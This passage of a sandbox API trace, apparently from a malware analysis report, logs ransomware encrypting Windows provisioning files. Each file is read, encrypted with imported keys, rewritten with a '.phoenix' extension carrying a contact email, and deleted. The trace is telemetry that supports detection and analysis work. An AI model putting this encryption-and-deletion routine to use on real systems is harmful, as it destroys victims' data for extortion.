	[0230.985] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\prov\\runtime\\0__power_energyestimationengine.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.985] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\prov\\runtime\\0__power_energyestimationengine.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0230.985] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0230.985] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0230.985] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\prov\\runtime\\0__power_energyestimationengine.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.986] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151400) returned 1
	[0230.986] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0230.986] ReadFile (in: hFile=0x2e4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x21b, lpOverlapped=0x0) returned 1
	[0230.988] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x220, dwBufLen=0x220 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x220) returned 1
	[0230.988] WriteFile (in: hFile=0x2f4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x220, lpOverlapped=0x0) returned 1
	[0230.989] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151640) returned 1
	[0230.989] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0230.989] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x70, dwBufLen=0x70 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x70) returned 1
	[0230.989] CryptDestroyKey (hKey=0x151640) returned 1
	[0230.989] WriteFile (in: hFile=0x2f4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x122, lpOverlapped=0x0) returned 1
	[0230.989] CryptDestroyKey (hKey=0x151400) returned 1
	[0230.990] CloseHandle (hObject=0x2e4) returned 1
	[0230.990] CloseHandle (hObject=0x2f4) returned 1
	[0230.991] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\prov\\runtime\\0__power_energyestimationengine.provxml")) returned 1
	[0230.992] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0230.992] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\prov\\runtime\\0__power_energyestimationengine.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.992] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1648) returned 1
	[0230.992] CloseHandle (hObject=0x2f4) returned 1
	[0230.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\prov\\runtime\\0__power_energyestimationengine.provxml")) returned 0x20
	[0230.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\prov\\runtime\\0__power_energyestimationengine.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.992] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\prov\\runtime\\0__power_energyestimationengine.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.992] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0230.993] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0230.993] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\prov\\runtime\\0__power_energyestimationengine.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0230.993] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151180) returned 1
	[0230.993] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0230.993] ReadFile (in: hFile=0x2f4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x670, lpOverlapped=0x0) returned 1
	[0231.038] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x680, dwBufLen=0x680 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x680) returned 1
	[0231.038] WriteFile (in: hFile=0x2e4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x680, lpOverlapped=0x0) returned 1
	[0231.048] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151500) returned 1
	[0231.048] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0231.048] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x70, dwBufLen=0x70 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x70) returned 1
	[0231.048] CryptDestroyKey (hKey=0x151500) returned 1
	[0231.048] WriteFile (in: hFile=0x2e4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x122, lpOverlapped=0x0) returned 1
	[0231.048] CryptDestroyKey (hKey=0x151180) returned 1
	[0231.048] CloseHandle (hObject=0x2f4) returned 1
	[0231.048] CloseHandle (hObject=0x2e4) returned 1
	[0231.049] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\prov\\runtime\\0__power_energyestimationengine.provxml")) returned 1
	[0231.050] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0231.050] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\prov\\runtime\\0__power_policy.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0231.050] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1808) returned 1
	[0231.050] CloseHandle (hObject=0x2e4) returned 1
	[0231.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\prov\\runtime\\0__power_policy.provxml")) returned 0x20
	[0231.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\0__Power_Policy.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\prov\\runtime\\0__power_policy.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0231.050] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\prov\\runtime\\0__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0231.051] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0231.051] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0231.051] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\0__Power_Policy.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\prov\\runtime\\0__power_policy.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0231.051] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151280) returned 1
	[0231.051] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0231.051] ReadFile (in: hFile=0x2e4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x710, lpOverlapped=0x0) returned 1
	[0231.052] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x720, dwBufLen=0x720 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x720) returned 1
	[0231.052] WriteFile (in: hFile=0x2f4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x720, lpOverlapped=0x0) returned 1
	[0231.053] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1516c0) returned 1
	[0231.053] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0231.053] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50, dwBufLen=0x50 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50) returned 1
	[0231.053] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0231.053] WriteFile (in: hFile=0x2f4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x102, lpOverlapped=0x0) returned 1
	[0231.053] CryptDestroyKey (hKey=0x151280) returned 1
	[0231.053] CloseHandle (hObject=0x2e4) returned 1
	[0231.054] CloseHandle (hObject=0x2f4) returned 1
	[0231.054] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\prov\\runtime\\0__power_policy.provxml")) returned 1
	[0231.055] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0231.055] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\prov\\runtime\\0__power_energyestimationengine.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0231.055] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1635) returned 1
	[0231.055] CloseHandle (hObject=0x2f4) returned 1
	[0231.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\prov\\runtime\\0__power_energyestimationengine.provxml")) returned 0x20
	[0231.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\prov\\runtime\\0__power_energyestimationengine.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0231.055] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\prov\\runtime\\0__power_energyestimationengine.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0231.055] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0231.055] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0231.056] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\prov\\runtime\\0__power_energyestimationengine.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0231.056] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151080) returned 1
	[0231.056] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0231.056] ReadFile (in: hFile=0x2f4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x663, lpOverlapped=0x0) returned 1
	[0231.110] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x670, dwBufLen=0x670 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x670) returned 1
	[0231.110] WriteFile (in: hFile=0x2e4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x670, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x670, lpOverlapped=0x0) returned 1
	[0231.110] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151500) returned 1
	[0231.110] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0231.110] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x70, dwBufLen=0x70 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x70) returned 1
	[0231.111] CryptDestroyKey (hKey=0x151500) returned 1
	[0231.111] WriteFile (in: hFile=0x2e4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x122, lpOverlapped=0x0) returned 1
	[0231.111] CryptDestroyKey (hKey=0x151080) returned 1
	[0231.111] CloseHandle (hObject=0x2f4) returned 1
	[0231.111] CloseHandle (hObject=0x2e4) returned 1
	[0231.111] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\prov\\runtime\\0__power_energyestimationengine.provxml")) returned 1
	[0231.112] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0231.112] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\0__connections_cellular_albanian mobile communications (albania)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0231.113] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=733) returned 1
	[0231.113] CloseHandle (hObject=0x2e4) returned 1
	[0231.113] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\0__connections_cellular_albanian mobile communications (albania)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0231.113] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\0__connections_cellular_albanian mobile communications (albania)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0231.113] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\0__connections_cellular_albanian mobile communications (albania)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0231.113] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0231.113] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0231.113] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\0__connections_cellular_albanian mobile communications (albania)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0231.114] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151180) returned 1
	[0231.114] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0231.114] ReadFile (in: hFile=0x2e4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2dd, lpOverlapped=0x0) returned 1
	[0231.135] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0231.135] WriteFile (in: hFile=0x2f4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0231.137] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151400) returned 1
	[0231.137] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0231.137] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xe0, dwBufLen=0xe0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xe0) returned 1
	[0231.137] CryptDestroyKey (hKey=0x151400) returned 1
